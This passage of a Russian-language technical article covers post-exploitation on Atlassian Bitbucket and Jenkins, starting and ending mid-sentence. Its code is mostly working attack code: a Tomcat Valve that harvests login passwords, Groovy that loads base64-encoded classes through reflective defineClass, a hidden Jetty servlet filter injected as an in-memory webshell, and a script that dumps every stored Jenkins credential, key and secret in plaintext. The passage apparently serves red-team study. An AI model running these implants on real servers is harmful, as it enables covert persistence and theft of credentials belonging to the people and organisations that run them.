\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u044d\u0442\u0443 \u0437\u0430\u0434\u0430\u0447\u0443 \u0435\u0449\u0435 \u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0439.<\/p>\n<p>\u0414\u043b\u044f Bitbucket \u0444\u043e\u0440\u043c\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \/j_atl_security_check. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a\u043e\u0433\u0434\u0430 \u0444\u043e\u0440\u043c\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0437\u0430\u043f\u0440\u043e\u0441:<\/p>\n<pre><code class=\"xml\">POST \/j_atl_security_check HTTP\/1.1 Host: 172.16.0.2:7990 Content-Type: application\/x-www-form-urlencoded Content-Length: [...]  j_username=[USERNAME]&amp;j_password=[PASSWORD]&amp;_atl_remember_me=on&amp;next=[...]&amp;queryString=[...]&amp;submit=Log+in<\/code><\/pre>\n<p>\u0412 \u043d\u0430\u0448\u0435\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u0432\u0441\u0435 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0447\u0435\u043d\u044b \u0438\u0437 \u043a\u043b\u0430\u0441\u0441\u0430 <code>CustomValve<\/code>. \u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442 \u043a\u043e\u0434\u0430 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442 \u0432\u0441\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435:<\/p>\n<pre><code class=\"java\">public static class CustomValve extends ValveBase {   \/\/ [...]   @Override   public void invoke(Request request, Response response) throws IOException, ServletException {     try {       if (request.getRequestURI().equals(\"\/j_atl_security_check\")           &amp;&amp; request.getMethod().equalsIgnoreCase(\"POST\")           &amp;&amp; request.getParameter(\"j_username\") != null           &amp;&amp; request.getParameter(\"j_password\") != null) {                  logCredentials(request.getParameter(\"j_username\"),           request.getParameter(\"j_password\"));       }       \/\/ TODO parse request and send a response from the in-memory webshell     } catch (Exception ignored) {     } finally {       \/\/ forward to the next Valve       if (this.getNext() != null) {         this.getNext().invoke(request, response);       }     }   }      private final HashMap&lt;String, Set&lt;String&gt;&gt; credentials = new HashMap&lt;&gt;();      private void logCredentials(String username, String pass) {     u = u.trim();     synchronized (credentials) {       if(credentials.containsKey(username)) {         Set&lt;String&gt; set = credentials.get(u);         set.add(pass);       } else {         Set&lt;String&gt; set = new HashSet&lt;&gt;();         set.add(pass);         credentials.put(username, set);       }     }   }   \/\/ [...] }<\/code><\/pre>\n<p>\u041d\u0430\u043a\u043e\u043d\u0435\u0446, \u0432\u0435\u0431-\u0448\u0435\u043b\u043b \u043d\u0443\u0436\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c, \u0447\u0442\u043e\u0431\u044b \u043e\u043d\u0430 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043b\u0430 \u043d\u043e\u0432\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u043b\u0430 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0443 \u0432\u0441\u0435 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0447\u0435\u043d\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435<\/p>\n<h2>\u0417\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 \u0434\u0432\u0438\u0436\u043e\u043a \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432<\/h2>\n<p>Jenkins \u0438\u043c\u0435\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u044e, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u043d\u0430 \u044f\u0437\u044b\u043a\u0435 Groovy \u0438\u0437:<\/p>\n<ul>\n<li>\n<p><a href=\"https:\/\/www.jenkins.io\/doc\/book\/managing\/script-console\/\" rel=\"noopener noreferrer nofollow\">\u041a\u043e\u043d\u0441\u043e\u043b\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432<\/a> \u043d\u0430 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 \u043c\u0435\u043d\u0435\u0434\u0436\u043c\u0435\u043d\u0442\u0430, \u0433\u0434\u0435      \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f \u0432 Jenkins controller runtime (\u0442.\u0435. \u0433\u0434\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0432\u0435\u0431-\u043a\u043e\u043d\u0441\u043e\u043b\u044c).<\/p>\n<\/li>\n<li>\n<p>\u0417\u0430\u0434\u0430\u0447\u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u0440\u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0435 \u043a\u043e\u0434\u0430 \u0432 \u043f\u0430\u0439\u043f\u043b\u0430\u0439\u043d\u044b, \u0433\u0434\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0438\u0445 \u0443\u0437\u043b\u0430\u0445 Jenkins<\/p>\n<\/li>\n<\/ul>\n<p>\u0417\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0433\u043e\u0434\u044b \u0431\u044b\u043b\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e \u0434\u0432\u0430 \u043f\u0443\u0442\u0438, \u0432\u0435\u0434\u0443\u0449\u0438\u0445 \u043a RCE \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0435 Jenkins:<\/p>\n<ul>\n<li>\n<p>\u041f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u0430\u044f \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0438\u0437 Jenkins Remoting (CVE-2017-1000353, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043c\u043e\u0434\u0443\u043b\u044c Metasploit). \u041a\u0430\u043a \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0435\u0442\u0441\u044f \u0432 <a href=\"https:\/\/ssd-disclosure.com\/ssd-advisory-cloudbees-jenkins-unauthenticated-code-execution\/\" rel=\"noopener noreferrer nofollow\">\u0441\u0442\u0430\u0442\u044c\u0435<\/a>, \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0438\u0437 SignedObject \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0435 \u0433\u0430\u0434\u0436\u0435\u0442\u043e\u0432, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 commons-collections:3.0 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c Transformers.<\/p>\n<\/li>\n<li>\n<p>\u041d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0431\u0445\u043e\u0434\u043e\u0432 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u043d\u0430 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u043f\u0430\u0439\u043f\u043b\u0430\u0439\u043d\u043e\u0432, \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 Orange Tsai (<a href=\"https:\/\/blog.orange.tw\/2019\/01\/hacking-jenkins-part-1-play-with-dynamic-routing.html\" rel=\"noopener noreferrer nofollow\">Hacking Jenkins Part 1<\/a>, <a href=\"https:\/\/blog.orange.tw\/2019\/02\/abusing-meta-programming-for-unauthenticated-rce.html\" rel=\"noopener noreferrer nofollow\">Hacking Jenkins Part 2<\/a>), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u044e\u0442 CVE-2018-1000861, CVE-2019-1003005 \u0438 CVE-2019-1003029 (<a href=\"https:\/\/github.com\/orangetw\/awesome-jenkins-rce-2019\" rel=\"noopener noreferrer nofollow\">PoC<\/a>)   <\/p>\n<\/li>\n<\/ul>\n<p>\u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u0430\u0432\u0442\u043e\u0440 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043b \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0441\u043b\u0443\u0447\u0430\u0439, \u043a\u043e\u0433\u0434\u0430 \u043c\u044b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043a\u0430\u043a \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u0432 Jenkins, \u0433\u0434\u0435 \u0435\u0441\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043a\u043e\u043d\u0441\u043e\u043b\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 Groovy-\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0432 \u0441\u0440\u0435\u0434\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 Jenkins. \u041e\u0434\u043d\u0430\u043a\u043e \u0441\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0434\u0430\u043b\u0435\u0435 \u043c\u0435\u0442\u043e\u0434\u044b \u043f\u043e\u0441\u0442-\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0438 \u0441 \u0434\u0432\u0443\u043c\u044f \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u043c\u0438 RCE.<\/p>\n<p>\u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 Groovy \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441\u043e \u0441\u0440\u0435\u0434\u043e\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f Jenkins. \u041f\u043e\u0434 \u043a\u0430\u043f\u043e\u0442\u043e\u043c Jenkins \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438:<\/p>\n<ul>\n<li>\n<p>Embedded Jetty \u0434\u043b\u044f \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430   <\/p>\n<\/li>\n<li>\n<p>Spring   <\/p>\n<\/li>\n<\/ul>\n<p><strong>\u0412\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c<\/strong><\/p>\n<p>\u041c\u044b \u043c\u043e\u0436\u0435\u043c \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0442\u044c \u043d\u043e\u0432\u044b\u0435 \u043a\u043b\u0430\u0441\u0441\u044b \u043d\u0430 Groovy. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0442\u044c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u043a\u043b\u0430\u0441\u0441\u044b \u043e\u0442 \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e ClassLoader \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u043f\u043e\u0442\u043e\u043a\u0430 (Thread context&#8217;s ClassLoader):<\/p>\n<pre><code class=\"java\">try {     ClassLoader cl = Thread.currentThread().getContextClassLoader()         .getParent();     Class kValve;     for(d in ['[B64_ENCODED_CLASS_BYTECODE]']) {         byte[] klassBytes = Base64.decoder.decode(d.strip());         m = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);         m.setAccessible(true);         kValve = (Class) m.invoke(cl, klassBytes, 0, klassBytes.length);     }     kValve.newInstance(); } catch(e) { }<\/code><\/pre>\n<p>\u0418\u0437 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0441 \u043a\u043b\u0430\u0441\u0441\u0430\u043c\u0438 Jenkins \u0438 Spring. \u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0448\u0430\u0433\u043e\u043c \u0431\u0443\u0434\u0435\u0442 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u0432\u0435\u0431-\u0448\u0435\u043b\u043b\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c, \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u044e\u0449\u0435\u0433\u043e \u0432\u0441\u0435 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u044b. \u0412 Spring \u043d\u0430 Jetty \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 WebAppContext$Context \u0432 ThreadLocals \u043f\u043e\u0442\u043e\u043a\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441.<\/p>\n<p>\u0418\u0437 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430 \u043a\u043b\u0430\u0441\u0441\u0430 WebAppContext$Context \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0438\u0437\u0432\u043b\u0435\u0447\u044c \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 \u043a\u043b\u0430\u0441\u0441\u0430 WebAppContext, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 \u043f\u043e\u043b\u0435 this$0.<\/p>\n<p>\u041a \u0441\u0447\u0430\u0441\u0442\u044c\u044e, Groovy-\u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u043f\u043e\u0442\u043e\u043a\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043d\u0430\u0448 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441, \u0438 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0443 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u0430 \u043a\u043e\u0434\u0430:<\/p>\n<pre><code class=\"java\">try {   Thread t = Thread.currentThread();   java.lang.reflect.Field fThreadLocals = Thread.class.getDeclaredField(\"threadLocals\");   fThreadLocals.setAccessible(true);    java.lang.reflect.Field fTable = Class.forName(\"java.lang.ThreadLocal$ThreadLocalMap\").getDeclaredField(\"table\");   fTable.setAccessible(true);    if (fThreadLocals.get(t) == null) return;    Object table = fTable.get(fThreadLocals.get(t));   java.lang.reflect.Field fValue = Class.forName(\"java.lang.ThreadLocal$ThreadLocalMap$Entry\").getDeclaredField(\"value\");   fValue.setAccessible(true);    Object handle = null;   int length = java.lang.reflect.Array.getLength(table);   for (int i = 0; i &lt; length; ++i) {     Object entry = java.lang.reflect.Array.get(table, i);     if (entry == null) continue;     Object value = fValue.get(entry);     if (value == null) continue;     if (value instanceof WeakReference) {       value = ((WeakReference&lt;?&gt;) value).get();     }     if (value == null) continue;     if (value instanceof SoftReference) {       value = ((SoftReference&lt;?&gt;) value).get();     }     if (value == null) continue;     if (value.getClass().getName().equals(\"org.eclipse.jetty.webapp.WebAppContext$Context\")) {       handle = value;       break;     }   }   if (handle == null) return;   Field this0 = handle.getClass().getDeclaredField(\"this$0\");   this0.setAccessible(true);   WebAppContext appCtx = (WebAppContext) this0.get(handle); } catch (Throwable ignored) { }<\/code><\/pre>\n<p>\u0417\u0430\u0442\u0435\u043c \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u0441\u0441\u044b\u043b\u043a\u0443 \u0434\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0444\u0438\u043b\u044c\u0442\u0440\u0430 \u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0435\u0433\u043e \u0432 \u043d\u0430\u0447\u0430\u043b\u043e \u0446\u0435\u043f\u043e\u0447\u043a\u0438:<\/p>\n<pre><code class=\"java\">\/\/[...] import javax.servlet.Filter; \/\/[...] public class CustomFilter implements Filter {    public CustomFilter(WebAppContext appCtx) throws Exception {     ServletHandler handler = appCtx.getServletHandler();     addFilterWithMapping(       handler,       new FilterHolder(this), \"\/*\",       EnumSet.of(DispatcherType.ASYNC, DispatcherType.REQUEST)     );   }    private static void addFilterWithMapping(final ServletHandler handler, FilterHolder holder,        String pathSpec, EnumSet&lt;DispatcherType&gt; dispatches) throws Exception {     holder.setName(\"CustomFilter\" + new SecureRandom().nextInt(0xffff));     Objects.requireNonNull(holder);     FilterHolder[] holders = handler.getFilters();     if (holders != null) {       holders = holders.clone();     } else {       holders = new FilterHolder[0];     }     \/\/ already injected     for (FilterHolder entry : holders) {       if (entry.getFilter().getClass().getName().equals(CustomFilter.class.getName()))         return;     }     synchronized (handler) {       Method contains = handler.getClass()         .getDeclaredMethod(\"containsFilterHolder\", FilterHolder.class);       contains.setAccessible(true);       if (!((Boolean) contains.invoke(handler, holder))) {         handler.setFilters(ArrayUtil.add(new FilterHolder[]{holder}, holders));       }     }      FilterMapping mapping = new FilterMapping();     mapping.setFilterName(holder.getName());     mapping.setPathSpec(pathSpec);     mapping.setDispatcherTypes(dispatches);     handler.prependFilterMapping(mapping);   }      @Override   public void destroy() { }    @Override   public void init(FilterConfig filterConfig) { }    private static class AbortRequest extends Throwable { }    @Override   public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,        FilterChain filterChain) throws IOException, ServletException {     try {       HttpServletRequest request = (HttpServletRequest) servletRequest;       HttpServletResponse response = (HttpServletResponse) servletResponse;        if (request.getHeader(\/* [...] *\/) != null) {         try {           handleRequest(request, response);         } catch (AbortRequest e) {           return; \/\/if raw HTML result, prevent the req from being processed by jenkins         }       }     } catch (Exception ignored) {     }     if (filterChain != null) {       filterChain.doFilter(servletRequest, servletResponse);     }   }    \/\/ [...] }<\/code><\/pre>\n<p><strong>\u0418\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432<\/strong><\/p>\n<p>\u0412 Jenkins \u0441\u043a\u0440\u0438\u043f\u0442\u044b Groovy \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043a\u043b\u0430\u0441\u0441\u0430 RemotingDiagnostics \u0438\u0437 Hudson \u0438 \u0435\u0433\u043e \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u0433\u043e \u043a\u043b\u0430\u0441\u0441\u0430 Script. \u042d\u0442\u043e\u0442 \u043a\u043b\u0430\u0441\u0441 \u0438\u043c\u043f\u043e\u0440\u0442\u0438\u0440\u0443\u0435\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0441 <a href=\"https:\/\/javadoc.jenkins-ci.org\/jenkins\/model\/Jenkins.html\" rel=\"noopener noreferrer nofollow\">API Jenkins<\/a>.<\/p>\n<p>\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0441\u043a\u0440\u0438\u043f\u0442, \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u043e\u043c \u0432 <a href=\"https:\/\/www.codurance.com\/publications\/2019\/05\/30\/accessing-and-dumping-jenkins-credentials\" rel=\"noopener noreferrer nofollow\">\u0441\u0442\u0430\u0442\u044c\u0435 <\/a>\u043f\u0440\u0438\u043c\u0435\u0440\u0435, \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0432\u0441\u0435\u0445 \u0441\u0435\u043a\u0440\u0435\u0442\u043e\u0432, \u043f\u0440\u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u0438, \u0447\u0442\u043e \u0443 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0435\u0441\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u044d\u0442\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445:<\/p>\n<pre><code class=\"java\">import com.cloudbees.plugins.credentials.CredentialsProvider import com.cloudbees.plugins.credentials.common.StandardUsernameCredentials import com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey import com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl import com.cloudbees.plugins.credentials.common.StandardCredentials import org.jenkinsci.plugins.plaincredentials.impl.FileCredentialsImpl import org.jenkinsci.plugins.plaincredentials.impl.StringCredentialsImpl import com.cloudbees.plugins.credentials.impl.CertificateCredentialsImpl import hudson.model.ItemGroup  def stringify(c) {   switch(c) {     case BasicSSHUserPrivateKey:       return String.format(\"id=%s desc=%s passphrase=%s keys=%s\", c.id, c.description,              c.getPassphrase() != null ? c.getPassphrase().getPlainText() : '', c.privateKeySource.getPrivateKeys())     case UsernamePasswordCredentialsImpl:       return String.format(\"id=%s desc=%s user=%s pass=%s\", c.id, c.description,              c.username, c.password != null ? c.password.getPlainText() : '')     case FileCredentialsImpl:        is = c.getContent()         if(is != null){           byte[] buf = new byte[is.available()]       is.read(buf);           content = buf.encodeBase64().toString()         } else {           content = '';         }         return String.format(\"id=%s desc=%s filename=%s content=%s\", c.id, c.description,              c.getFileName(), content)     case StringCredentialsImpl:       return String.format(\"id=%s desc=%s secret=%s\", c.id, c.description,              c.getSecret() != null ? c.getSecret().getPlainText() : '')     case CertificateCredentialsImpl:         source = c.getKeyStoreSource()         if (source != null)             content = source.getKeyStoreBytes().encodeBase64().toString()         else              content = ''       return String.format(\"id=%s desc=%s password=%s keystore=%s\", c.id, c.description,              c.getPassword() != null ? c.getPassword().getPlainText() : '', content)     default:         return 'Unknown type ' + c.getClass().getName()   } }  for (group in Jenkins.instance.getAllItems(ItemGroup)) {   println \"============= \" + group   for (cred in CredentialsProvider.lookupCredentials(StandardCredentials, group))      println stringify(cred) } println \"============= Global\" for (cred in CredentialsProvider.lookupCredentials(StandardCredentials, Jenkins.instance, null, null))   println stringify(cred)<\/code><\/pre>\n<p>\u0420\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 Groovy \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043e\u0447\u0435\u043d\u044c \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043a\u043e\u0433\u0434\u0430 \u0432\u0435\u0431-\u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0431\u044b\u043b\u0430 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0430 \u043f\u0443\u0442\u0435\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0446\u0435\u043f\u043e\u0447\u0435\u043a RCE, \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u0445 \u0440\u0430\u043d\u0435\u0435, \u0442\u0430\u043a \u043a\u0430\u043a \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 